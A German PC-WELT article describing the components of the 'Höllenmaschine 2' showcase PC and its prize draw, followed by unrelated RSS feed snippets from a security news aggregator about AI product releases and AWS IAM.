<p>Die Barracuda 7200.10 setzt auf die SATA-II-Schnittstelle, die eine theoretische Transferrate von bis zu 300 MB/s erreicht. In der Praxis erzielen Sie diesen Wert zwar nicht, bei einem Raid-0-Verbund aus zwei Platten dürfen Sie aber durchschnittlich mit deutlich über 100 MB/s rechnen. Damit verwalten und archivieren Sie selbst große Videodateien sehr flott.</p>



<p>Die Seagate Barracuda 7200.10 ST3750640AS ist technisch auf der Höhe der Zeit: Das 3,5-Zoll-Laufwerk beherrscht die Technik Native Command Queuing (NCQ). NCQ erlaubt der Festplatte, die vom System geforderten Zugriffe selbstständig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusätzliche Drehbewegungen, verkürzt damit die Wegstrecken, die der Schreib-/Lesekopf zurücklegen muss, und sorgt ergo für ein höheres Tempo. Eine höhere Datenübertragungsrate lässt sich auch mit <a href="https://web.archive.org/web/20070315054351/http:/www.pcwelt.de/tests/hardware-tests/festplatten/130042/index.html">Perpendicular Recording</a> erzielen, da die Datenbits nicht mehr horizontal, sondern vertikal auf dem Datenträger angeordnet sind. Auch diese moderne Technik setzt die Barracuda 7200.10 ein, was wir im <a href="https://web.archive.org/web/20070315054351/http:/www.pcwelt.de/tests/hardware-tests/festplatten/137452/">PC-WELT-Test</a> mit einer Innovations-Empfehlung belohnt haben.</p>



<h2 class="wp-block-heading toc">Mehr Mobilität: 750 GB externer Speicher und Allesleser</h2>



<p>Mit der <a href="https://web.archive.org/web/20070315054402/http:/www.seagate.com/www/de-de/products/external/pushbutton_backup/">Seagate Pushbutton External Hard Drive</a> stehen Ihnen zusätzlich 750 GB mobiler Speicher zur Verfügung. Das externe 3,5-Zoll-Laufwerk erstellt ein Backup bequem auf Knopfdruck – selbst umfangreiche Datenbestände lassen sich auf diese Weise sichern. Bei der Datensicherung unterstützt Sie die beiliegende Software Bounceback Express. Die native SATA-II-Festplatte mit der Modellbezeichnung <a href="https://web.archive.org/web/20070315054402/http:/www.seagate.com/ww/v/index.jsp?locale=de-DE&amp;name=null&amp;vgnextoid=900a04b0c488e010VgnVCM100000dd04090aRCRD&amp;vgnextchannel=c0fed21c2f32b010VgnVCM100000dd04090aRCRD&amp;reqPage=Model">ST3750640CB-RK</a> besitzt sowohl eine Firewire- als auch eine USB-2.0-High-Speed-Schnittstelle.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4e0b099a85a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Seagate-Pushbutton-External-Hard-Drive.jpg?quality=50&amp;strip=all" alt="Seagate Pushbutton External Hard Drive " class="wp-image-3182080" width="578" height="600" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
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					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Seagate </p></div>



<p>Die Seagate Pushbutton rotiert mit 7.200 Umdrehungen pro Minute, der Datenpuffer beträgt stattliche 16 MB. Auch dieses Seagate-Laufwerk realisiert die hohe Kapazität mithilfe der Technik Perpendicular Recording. Auf den vier Datenscheiben wuseln insgesamt acht Schreib-Lese-Köpfe mit einem kaum wahrnehmbaren Betriebsgeräusch.</p>



<p>Sie können aber auch jede beliebige Speicherkarte mit den Daten der Höllenmaschine II füttern, denn der integrierte Kartenleser kommt mit allen gängigen Formaten wie Compact Flash (Typ I und II), MagicGate Memory Stick (Duo, Pro, Pro Duo), Memory Stick (Duo, Pro, Pro Duo, Pro Ultra II, ROM, Select), Microdrive, Micro SD, Multimedia Karte (RS), Secure Digital (Mini) Karte und Smart Media Karte klar. Das integrierte Disketten-Laufwerk speichert zwar auch Daten, dient aber eher für knifflige BIOS-Updates und Betriebssysteminstallationen – sofern kein bootfähiger USB-Stick zur Hand ist oder die benötigten Daten nur auf Floppy vorliegen.</p>



<p>Sie können Ihre Daten aber auch mit dem Blu-Ray-Brenner Philips SPD7000BD speichern, der bei 2-fachem Schreibtempo knapp 9 MB/s über die SATA-Schnittstelle schaufelt und einen einlagigen 25-GB-BR-Rohling in gut 45 Minuten füllt. Das vom Online-Versender <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11731&amp;clickref=rss&amp;platform=dl&amp;ued=https://web.archive.org/web/20070315054615/http:/www.alternate.de/html/index.html">Alternate</a> zur Verfügung gestellte interne Laufwerk beschreibt aber auch CDs und DVDs. Der Pufferspeicher des SATA-Brenners beträgt 8 MB.</p>



<p>DVDs sowie CDs liest der Blu-Ray-Brenner mit maximal 16- beziehungsweise 32-facher Geschwindigkeit. DVD±Rs beschreibt das Laufwerk mit 12-fachem, DVD-RWs mit 8fachem und DVD+RWs mit 12-fachem Tempo. Dual-Layer-DVD‑Rs und Double-Layer-DVD+Rs brennt das interne Laufwerk mit 4-facher Geschwindigkeit. CD-Rs sowie CD-RWs beschreibt der Blu-Ray-Brenner mit 32‑fachem respektive 24‑fachem Tempo.</p>



<p>Im Lieferumfang des Blu-Ray-Laufwerks enthalten ist die Brenn-Software Nero 7 Essentials, eine abgespeckte Version von Nero 7 Premium mit folgenden, zum Teil funktionsreduzierten Programm-Modulen: Cover Designer 2, Express 7, Home, Incd 5, Media Home, Photoshow Express 4, Photosnap, Photosnap Viewer, Scout, Showtime 2, Start Smart 3, Toolkit sowie Vision 4. Von Cyberlink liegt ein Blu-Ray-Medium bei, auf dem sich das Abspielprogramm Power DVD BD befindet, mit dem Sie Filme auf Blu-Ray- und DVD-Medien abspielen können.</p>



<p>Beim zweiten optischen Laufwerk, dem Samsung SH-S182A, handelt es sich um einen Multiformat-DVD-Brenner, der auch das DVD-RAM-Format beherrscht. Außerdem unterstützt das SATA-Laufwerk die Lightscribe-Technik. Das interne Laufwerk beschreibt DVD±Rs mit 18-fachem, DVD-RWs mit 6fachem und DVD+RWs mit 8fachem Tempo. Dual-Layer-DVD‑Rs sowie Double-Layer-DVD+Rs brennt der Samsung SH-S182A mit 8-facher und DVD-RAMs mit 12-facher Geschwindigkeit.</p>



<h2 class="wp-block-heading toc">Bildschirme: 24-Zoll-TFT und 8-Zoll-Touchscreen</h2>



<p>Der integrierte 8-Zoll-LCD-Touchscreen Worcol VE-XVT-8, der auf ein Panasonic-Display setzt, ist normalerweise für den Einsatz im Auto gedacht. Die physikalische Auflösung des LCDs beträgt 800 x 600 Bildpunkte, maximal ist eine Auflösung von 1024 x 768 Pixeln möglich. Die Ansteuerung des Touchscreen-Sensor-Panels erfolgt über die USB-Schnittstelle. Der Touchscreen-Treiber unterstützt alle gängigen Betriebssysteme.</p>



<p>Laut Hersteller liegt der maximale Blickwinkel des Worcol VE-XVT-8 bei 150 Grad. Die Leuchtstärke gibt Panasonic mit 500cd/m² an. Das Kontrastverhältnis beträgt nach Angaben des Herstellers 350:1. Neben der D-Sub-Schnittstelle steht auch ein AV-Videoeingang zur Verfügung. Alle wichtigen Einstellungen wie Bildposition, Farbtemperatur und -tiefe, Helligkeit und Kontrast lassen sich stufenlos über die Bedienelemente auf der Vorderseite einstellen.</p>



<p>Für mehr Übersicht sorgt das 24-Zoll-Breitbild-TFT <a href="https://web.archive.org/web/20070315055016/http:/www.benq.de/products/LCD/?product=636">Benq FP241W</a>, das wir der Höllenmaschine zur Seite stellen. Die physikalische Auflösung des LCD-Bildschirms beträgt 1920 x 1200 Bildpunkte – damit stellt der Monitor selbst das HD-Format 1080p nativ dar. Die Auflösung reicht aber auch, um zwei DIN-A4-Seiten nebeneinander auf den Schirm zu bringen.</p>



<p>Reich gesegnet ist der Benq FP241W mit Schnittstellen: Pflicht für ein HD-Gerät ist natürlich der HDMI-Eingang, hoch aufgelöste Bildsignale empfängt der 24-Zöller aber auch über die DVI-D-Schnittstelle. Hinzu gesellen sich ein D-Sub-, ein S-Video-, ein Komponenten- und ein USB-Eingang. Praktisch: Der LCD fungiert auch als USB-Hub und stellt drei Ausgänge zur Verfügung.</p>



<p>Der Benq FP241W misst 564 x 567 x 248 Millimeter und bringt 10,6 Kilogramm auf die Waage. Laut Hersteller beträgt der Energieverbrauch im Betrieb 95 Watt. Die Reaktionszeit des Displays gibt Benq mit 6 Millisekunden an (grau zu grau). Die Helligkeit liegt nach Herstellerangaben bei 500cd/m² und das Kontrastverhältnis bei 1000:1. Den horizontalen und vertikalen Blickwinkel gibt Benq mit jeweils 178 Grad an. Unsere Bildschirm-Experten prüfen den 24-Zöller gerade, sodass wir Ihnen in Kürze einen ausführlichen Test präsentieren können.</p>



<h2 class="wp-block-heading toc">Sound: EAX 5 und kabelloser 5.1-Raumklang</h2>



<p>Für die akustische Untermalung ist bei der Höllenmaschine die <a href="https://web.archive.org/web/20070315054259/http:/www.creative.com/products/product.asp?category=1&amp;subcategory=208&amp;product=14000">Creative Sound Blaster X-Fi Fatality FPS</a> zuständig. Der mit 51 Millionen Transistoren sehr komplexe Soundchip erreicht eine maximale Samplingfrequenz von 192 kHz. Der Wavetable-Synthesizer beherrscht 128 Stimmen, 128 Instrumente und 10 Drumsets. Außerdem unterstützt der X-Fi-Chip den Standard EAX Advanced HD 5 nativ und beschleunigt entsprechend optimierte Spiele. Den Test der Creative X-Fi Xtreme Music, die den baugleichen Soundchip nutzt, finden Sie <a href="https://web.archive.org/web/20070315054259/http:/www.pcwelt.de/tests/hardware-tests/soundkarten/56503/index.html">hier</a> – unser Audio-Experte vergab für den analogen und digitalen Klang jeweils die Note „sehr gut“.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4e0b099b390"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Creative-Sound-Blaster-X-Fi-Fatality-FPS.jpg?quality=50&amp;strip=all" alt="Creative Sound Blaster X-Fi Fatality FPS" class="wp-image-3182073" width="792" height="472" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
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				</svg>
			</button></figure><p class="imageCredit">Creative </p></div>



<p>Damit Sie auch unter Vista EAX in vollen Zügen genießen können – Microsoft hat bekanntlich beim neuen Betriebssystem das Hardware Abstraction Layer (HAL) für Directsound und Directsound 3D entfernt –, hat Creative das Alchemy-Projekt gestartet. Wir sind daher zuversichtlich, dass der Glückspilz, der die PC-WELT Höllenmaschine 2 gewinnt, zum Liefertermin nicht mehr auf EAX-Raumklang unter Vista verzichten muss.</p>



<p>Die beiliegende Break-out-Box erlaubt den Zugriff auf die wichtigsten Schnittstellen via Front-Panel. Es stehen jeweils ein koaxialer und ein optischer SPDIF-Ein- und -Ausgang, zwei Cinch-Buchsen für den AUX-Eingang, ein Mini-MIDI-Ein- und -Ausgang sowie eine Kopfhörerbuchse mit Lautstärkeregler und ein kombinierter analoger Line-/Mikrofon-Eingang bereit. Das Sound-Paket komplettiert eine Fernbedienung.</p>



<p>Ebenfalls von Creative stammt das THX-zertifizierte 5.1-Lautsprecher-Set <a href="https://web.archive.org/web/20070315054259/http:/www.creative.com/products/product.asp?category=4&amp;subcategory=25&amp;product=14661">Gigaworks Progamer G550W</a>. Das Boxenset mit Funkübertragung zu den hinteren Lautsprechern liefert 36 Watt <a href="https://web.archive.org/web/20070315054259/http:/de.wikipedia.org/wiki/RMS-Leistung">RMS</a> pro Kanal zu den Satelliten, die Subwoofer-Leistung gibt Creative mit 130 Watt RMS an. Im Transmitter der Gigaworks Progamer G550W sind die Regler für die Lautstärkeverteilung, Bass, Treble und Volume untergebracht, ergänzt von einer Kopfhörer-Buchse und einem AUX-Eingang. Ebenfalls im Lieferumfang: eine Fernbedienung.</p>



<h2 class="wp-block-heading toc">Stromversorgung: 1000 Watt</h2>



<p>Umweltpolitisch nicht ganz korrekt, aber bitter notwendig für eine stabile Stromversorgung der Hochleistungs-Komponenten: das 1000-Watt-Netzteil <a href="https://web.archive.org/web/20070315053922/http:/h1124473.serverkompetenz.net/index.php?id=55&amp;cat=2&amp;subcat=7&amp;product=157">Enermax Galaxy EGA1000EWL</a>. Der Kraftprotz mit einem Kampfgewicht von 5,6 Kilogramm glänzt laut Hersteller mit mehreren Weltneuheiten: Dazu gehören unter anderem fünf 12-Volt-Leitungen und die Möglichkeit, bis zu 24 Laufwerke gleichzeitig anschließen zu können. Außerdem rühmt sich das Netzteil, die erste Triple-Quad-Unterstützung zu bieten, weshalb wir es als adäquaten Stromlieferanten für die Höllenmaschine II ausgewählt haben.</p>



<p>Wenn Sie unseren Superrechner als Server einsetzen wollen, werden Sie sich nicht nur über die Alarmfunktionen freuen, die den Netzteil-Status überwachen, sondern auch über die RAM-Kabel für Speicherbestückungen ab 32 GB. Eine gute Idee von Enermax ist auch die komplette Trennung der Prozessor-Stromversorgung von den restlichen Versorgungsleitungen. Die Kühlung des 1000-Watt-Kraftprotzes übernimmt übrigens ein leise arbeitender Doppellüfter, bestehend aus einem 135- und einem 80-Millimeter-Rotor.</p>



<h2 class="wp-block-heading toc">Wassergekühlt: CPUs, GPUs und Festplatten</h2>



<p>Bei der recht hohen Leistungsaufnahme – die exakten Verbrauchswerte liefern wir noch nach – ist für den stabilen Betrieb der Höllenmaschine 2 eine effiziente Kühlung der hitzigsten Komponenten unverzichtbar. Diese Aufgabe übernimmt eine Wasserkühlung, die wir aus Komponenten des Kühlungsspezialisten <a href="https://web.archive.org/web/20070315054545/http:/www.innovatek.de/">Innovatek</a> zusammengestellt haben. Gesamtwert: 1950 Euro.</p>



<p>Beginnen wir mit dem Prozessorkühler X-Flow Xeon aus vernickeltem Kupfer, der eine Bauhöhe von lediglich 18 Millimetern hat. Da einige Kondensatoren in unmittelbarer Nachbarschaft der CPU-Sockel die passgenaue Montage verhinderten, war eine komplette Modifikation der X-Flows für die Höllenmaschine notwendig. Die VGA-Kühler Cool-Matic G80-GTX/GTS leiten nicht nur die Abwärme der GPUs ab, sondern kühlen auch den Grafikspeicher, den Bridge-Chip sowie den Spannungswandler. Um die Kühlleistung zu verbessern, integriert Innovatek in die Cool-Matic G80-GTX/GTS einen speziellen Kupferkern.</p>



<p>Alle acht Festplatten wandern in den HDM L-Pro Festplattenkühler aus Aluminium, der sich aus einem Innen- und einem Außenrahmen zusammensetzt. Dabei sind die beiden Rahmen voneinander entkoppelt – das reduziert die Geräuschentwicklung. Selbstredend ist die HDM L-Pro für Laufwerke mit bis zu 15.000 Umdrehungen pro Minute ausgelegt. Die Festplattenkühler lassen sich zudem problemlos mit einem Temperaturfühler aufrüsten.</p>



<h2 class="wp-block-heading toc">Kühlsystem mit Hamstertränke</h2>



<p>Für einen gleichmäßigen Strom der Kühlflüssigkeit sorgt die 12-Volt-Pumpe HPPS Plus. Das gemeinsam von Innovatek und Eheim entwickelte Modell kennt zwei Betriebszustände: Im fast geräuschlosen Silent-Modus, in dem wir die HPPS Plus betreiben, beträgt die maximale Pumpleistung 2,05 Meter. Per Lötbrücke lässt sich der Power-Modus aktivieren, die Pumpleistung steigt dann auf stattliche vier Meter. Ein Mikroprozessor regelt die Drehzahl der HPPS Plus dynamisch, sodass jederzeit eine optimale Förderleistung gesichert ist.</p>



<p>Hamstertränke: Die scherzhafte Bezeichnung stammt von einem Kollegen, der sich noch nicht mit den Finessen eines Wasserkühlsystems befasst hat, in dem kein Ausgleichsbehälter fehlen darf. Das von uns eingesetzte Modell Tank-O-Matic hat einen Durchmesser von 50 Millimetern, die Bauhöhe beträgt 280 Millimeter und das Fassungsvermögen 280 Milliliter.</p>



<p>Das zentrale Kühlsystem komplettiert der Blackice Triple Radiator. Seine drei 120-Millimeter-Lüfter leiten die Abwärme der Prozessoren, Grafikkarten und der acht Festplatten fast lautlos nach außen. Unser Casemodding-Experte „Fastbrain1“, der das exklusive Design-Gehäuse der Höllenmaschine 2 entworfen und gebaut hat, konnte nicht widerstehen und hat den Blackice mit stark reflektierendem Silberlack veredelt.</p>



<p>Kleinteile: Insgesamt fast fünf Meter des PVC-Spezialschlauchs von Innovatek sind in der Höllenmaschine 2 verbaut. Dazu gesellen sich – unter anderem – 28 1/8-Winkelverbinder und 8 gewinkelte 1/8-Einschraubverschraubungen. An kritischen Stellen verhindern diverse Knickschutzfedern, dass der Spezialschlauch abknickt und der Supergau einer Wasserkühlung eintritt: der Stau des Kühlmittelflusses. Nicht zu vergessen: Die Durchfluss-Messturbine Flowmeter PRO Rev 3.6, die das Durchflusstempo in Umdrehungen pro Minute an das Rechner-BIOS übermittelt. Zudem lässt sich die Durchflussgeschwindigkeit auch optisch mittels der integrierten blauen Indikator-LED kontrollieren.</p>



<h2 class="wp-block-heading toc">Gehäuse-Unikat: Casemod für 3600 Euro</h2>



<p>Für die Gestaltung des Gehäuses konnte die PC-WELT einen Spezialisten gewinnen: Heiko Polaczek, auch unter dem Alias „Fastbrain1“ bekannt, ist seit 14 Jahren eine feste Größe in der internationalen Casemoding-Szene. Der mehrfach für seine Gehäuse-Kunstwerke ausgezeichnete Modding-Profi verarbeitete für die Höllenmaschine 6,5 Quadratmeter Blech, 2,7 Meter Stahlrohr, 17 Meter Schweißdraht und zwei Liter blauen Porsche-Autolack. Letzteres lässt sich der schwäbische Sportwagenhersteller schon fast mit Gold aufwiegen: Der Liter kostet 450 Euro. Erwähnenswert sind an dieser Stelle noch die 27 laufenden Meter Schleifpapier und über den Daumen gepeilte 7,5 Kilogramm Spachtelmasse, die Fastbrain1 für das Gehäuse-Unikat verbrauchte.</p>



<p>Allein der Materialwert für den schmucken Casemod summiert sich auf knapp 3600 Euro, vom Arbeitsaufwand – circa 300 Stunden – ganz zu schweigen. Mehr Informationen und eine umfangreiche Bildgalerie mit den besten Werken von Heiko Polaczek finden Sie auf der Website. Wie Heiko Polaczek aus einem gähnend langweiligen Server-Tower unser exklusives Schmuckstück geformt hat, erfahren Sie in Kürze im Beitrag „Making of Höllenmaschine 2“.</p>



<h2 class="wp-block-heading toc">Peripherie: funktionell und elegant</h2>



<p>Das Beste ist gerade gut genug für unseren Superrechner – das gilt auch für die Eingabegeräte: Die drahtlose Bluetooth-Tastatur Logitech di Novo Edge besticht nicht nur durch ihr elegantes Design, sondern auch durch die hochwertige Verarbeitung. Über das integrierte Touchpad lassen sich Bildlauf-, Auswahl- und Zeigerfunktionen effizient nutzen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4e0b099c259"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Logitech-di-Novo-Edge.jpg?quality=50&amp;strip=all" alt="Logitech di Novo Edge" class="wp-image-3182077" width="1024" height="669" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Logitech </p></div>



<p>Dazu gesellt sich die Maus Logitech MX Revolution. Die ergonomisch geformte Funk-Maus setzt auf die präzise Laserabtastung und erlaubt laut Hersteller dank eines Tastenrads aus Leichtmetall besonders schnelle Bildläufe. Clevere Funktionen wie „One-Touch search“ und „Smartshift“ erleichtern die tägliche Arbeit.</p>



<p>Einer guten Tradition folgend verlosen wir – wie schon im letzten Jahr – den Porsche unter den PCs. Beteiligen Sie sich an unserer <a href="https://web.archive.org/web/20070315054320/http:/www.pcwelt.de/news/hardware/69505/index.html">Leserwahl</a> zum PCW3-Award: Wir suchen die beste Hard- und Software des Jahres 2006. Entscheiden Sie, welche Top-Produkte wir mit dem PCW3-Award auszeichnen. Sie nehmen dann automatisch an der Verlosung teil, bei der die Höllenmaschine als 1. Preis ausgesetzt ist. Oder Sie besuchen uns auf der <a href="https://web.archive.org/web/20070315054320/http:/files.messe.de/cmsdb/007/9036.swf">CeBIT 2007</a> (Halle 6, Stand C12), um den Super-PC in Aktion zu erleben. Dort haben Sie ebenfalls Gelegenheit, an der Verlosung teilzunehmen.<br>Garantieausschluss: Ansprüche gegen die IDG Magazine Media GmbH wegen Sach- und Rechtsmängeln an dem PC sowie dem TFT sind ausgeschlossen. Im Übrigen finden die für Schenkungen geltenden Vorschriften der §§ 521 bis 524 BGB Anwendung.</p>



<h2 class="wp-block-heading toc"> So gewinnen Sie die HMX 6</h2>



<p>Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern</p>


<span class="cta_btn_heading cta_btn_heading_"></span><div class="cta wp-block wp-block-button cta__btn_"><a class="cta__btn" href="https://www.pcwelt.de/article/3179491/hmx-6-gewinnspiel.html" target="_blank" rel="nofollow" data-vars-link-position="CTA Button">Gewinnen Sie hier die HMX 6</a></div>


<h2 class="wp-block-heading toc">Wie Sie die HMX 6 verfolgen können</h2>



<p>In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf <a href="https://www.youtube.com/playlist?list=PLVC_WMwVwvSiOOgt6D9mN4Ud71M_uLFsS">YouTube</a>, <a href="https://www.instagram.com/pcwelt/">Instagram</a>, <a href="https://www.tiktok.com/@pcwelt.de">TikTok</a>, <a href="https://www.facebook.com/pcwelt/reels/">Facebook </a>und natürlich auf <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">pcwelt.de</a>. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter abonnieren</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.</p>

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<title><![CDATA[NVIDIA Releases Audex (Nemotron-Labs-Audex-30B-A3B): A Unified Audio-Text LLM That Preserves the Text Intelligence of Its Backbone]]></title>
<description><![CDATA[NVIDIA's Nemotron-Labs-Audex-30B-A3B unifies audio understanding, speech recognition, translation, TTS, and audio generation in one MoE model. It keeps the text intelligence of its Nemotron-Cascade-2 backbone with marginal regression.
The post NVIDIA Releases Audex (Nemotron-Labs-Audex-30B-A3B): ...]]></description>
<link>https://tsecurity.de/de/3653034/ai-nachrichten/nvidia-releases-audex-nemotron-labs-audex-30b-a3b-a-unified-audio-text-llm-that-preserves-the-text-intelligence-of-its-backbone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653034/ai-nachrichten/nvidia-releases-audex-nemotron-labs-audex-30b-a3b-a-unified-audio-text-llm-that-preserves-the-text-intelligence-of-its-backbone/</guid>
<pubDate>Wed, 08 Jul 2026 03:33:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NVIDIA's Nemotron-Labs-Audex-30B-A3B unifies audio understanding, speech recognition, translation, TTS, and audio generation in one MoE model. It keeps the text intelligence of its Nemotron-Cascade-2 backbone with marginal regression.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/07/nvidia-releases-audex-nemotron-labs-audex-30b-a3b-a-unified-audio-text-llm-that-preserves-the-text-intelligence-of-its-backbone/">NVIDIA Releases Audex (Nemotron-Labs-Audex-30B-A3B): A Unified Audio-Text LLM That Preserves the Text Intelligence of Its Backbone</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[How to Simplify AWS IAM for Multi-Cluster Kubernetes]]></title>
<description><![CDATA[Unified identity and access management has become increasingly standard in the modern IT industry. Whether you have fully adopted zero-trust principles or are still refining your approach, most enterprises now aim for strict controls that simultaneously support agility. The right people and servi...]]></description>
<link>https://tsecurity.de/de/3652984/unix-server/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652984/unix-server/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/</guid>
<pubDate>Wed, 08 Jul 2026 02:16:36 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Unified identity and access management has become increasingly standard in the modern IT industry. Whether you have fully adopted zero-trust principles or are still refining your approach, most enterprises now aim for strict controls that simultaneously support agility. The right people and services need to be able to reach the right resources, but it is […]</p>
<p>The post <a href="https://www.suse.com/c/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/">How to Simplify AWS IAM for Multi-Cluster Kubernetes</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
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<title><![CDATA[JetBrains to roll out AI capabilities for software development teams and organizations]]></title>
<description><![CDATA[JetBrains has announced JetBrains AI for Teams and Organizations, an initiative that promises to deliver a broad set of AI capabilities that connects AI tools developers already use with shared context, reusable agentic workflows, and organization-wide governance and cost control for software pro...]]></description>
<link>https://tsecurity.de/de/3652910/ai-nachrichten/jetbrains-to-roll-out-ai-capabilities-for-software-development-teams-and-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652910/ai-nachrichten/jetbrains-to-roll-out-ai-capabilities-for-software-development-teams-and-organizations/</guid>
<pubDate>Wed, 08 Jul 2026 01:04:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>JetBrains has announced JetBrains AI for Teams and Organizations, an initiative that promises to deliver a broad set of AI capabilities that connects AI tools developers already use with shared context, reusable agentic workflows, and organization-wide governance and cost control for software production. The intent is to move users from fragmented AI usage to coordinated software development, the company said.</p>



<p>Unveiled <a href="https://blog.jetbrains.com/blog/2026/07/07/jetbrains-ai-for-teams-and-organizations-from-fragmented-ai-usage-to-coordinated-software-development/">July 7</a>, JetBrains AI for Teams and Organizations will provide a unified system for agentic software development, according to the company. Vendor-agnostic by design, JetBrains AI for Teams and Organizations will connect external tools via <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) and external agents via <a href="https://agentclientprotocol.com/get-started/introduction" data-type="link" data-id="https://agentclientprotocol.com/get-started/introduction">Agent Client Protocol</a> (ACP). Organizations will be able to evolve their AI stack without sacrificing governance or developer choice, the company said. </p>



<p>Alongside new capabilities, JetBrains plans to evolve its commercial model to better support AI-powered software development. For business customers, AI licenses will be transferred to flexible on-demand AI credits. These credits will make it easier for organizations to reallocate AI investments between developers and manage them over time, as credits are valid longer, JetBrains said.</p>



<p>Over the coming weeks, JetBrains plans to gradually introduce the following new capabilities for teams and organizations:</p>



<ul class="wp-block-list">
<li>Team automations and cloud agents: Developers will be able to run agents in managed cloud environments, allowing long-running engineering tasks to execute independently while remaining visible and shared between team members. Teams will be able to create automations that trigger cloud agents in response to repository events, schedules, or other engineering workflows.</li>



<li>JetBrains Context: Developers will be able to provide agents with the repository intelligence to understand complex codebases more efficiently. Fast access to cross-repository knowledge, code examples, and references promise to reduce agent turns, lower execution costs, and improve code quality.</li>



<li>JetBrains Central: Providing organization-wide management tools for AI adoption, JetBrains Central will give engineering leaders centralized visibility into the AI tools their teams use, as well as governance, access management, model and agent controls, policies, analytics, and cost attribution across teams.</li>



<li>JetBrains Central CLI: JetBrains Central CLI will bring disparate AI workflows—including the use of different AI tools such as Claude Code, Codex, and Gemini CLI—into the same organizational environment, providing governance, visibility, and analytics, while allowing developers to continue working with the tools they already prefer.</li>
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<title><![CDATA[Anthropic brings Claude Cowork to mobile and web as usage data shows most users aren’t coding]]></title>
<description><![CDATA[Anthropic on Tuesday launched Claude Cowork on mobile and web, expanding a tool that has quietly become the company's bridge between the developer-centric world of AI coding agents and the far larger market of knowledge workers who never open a terminal.The rollout, which begins in beta with Max ...]]></description>
<link>https://tsecurity.de/de/3652421/it-nachrichten/anthropic-brings-claude-cowork-to-mobile-and-web-as-usage-data-shows-most-users-arent-coding/</link>
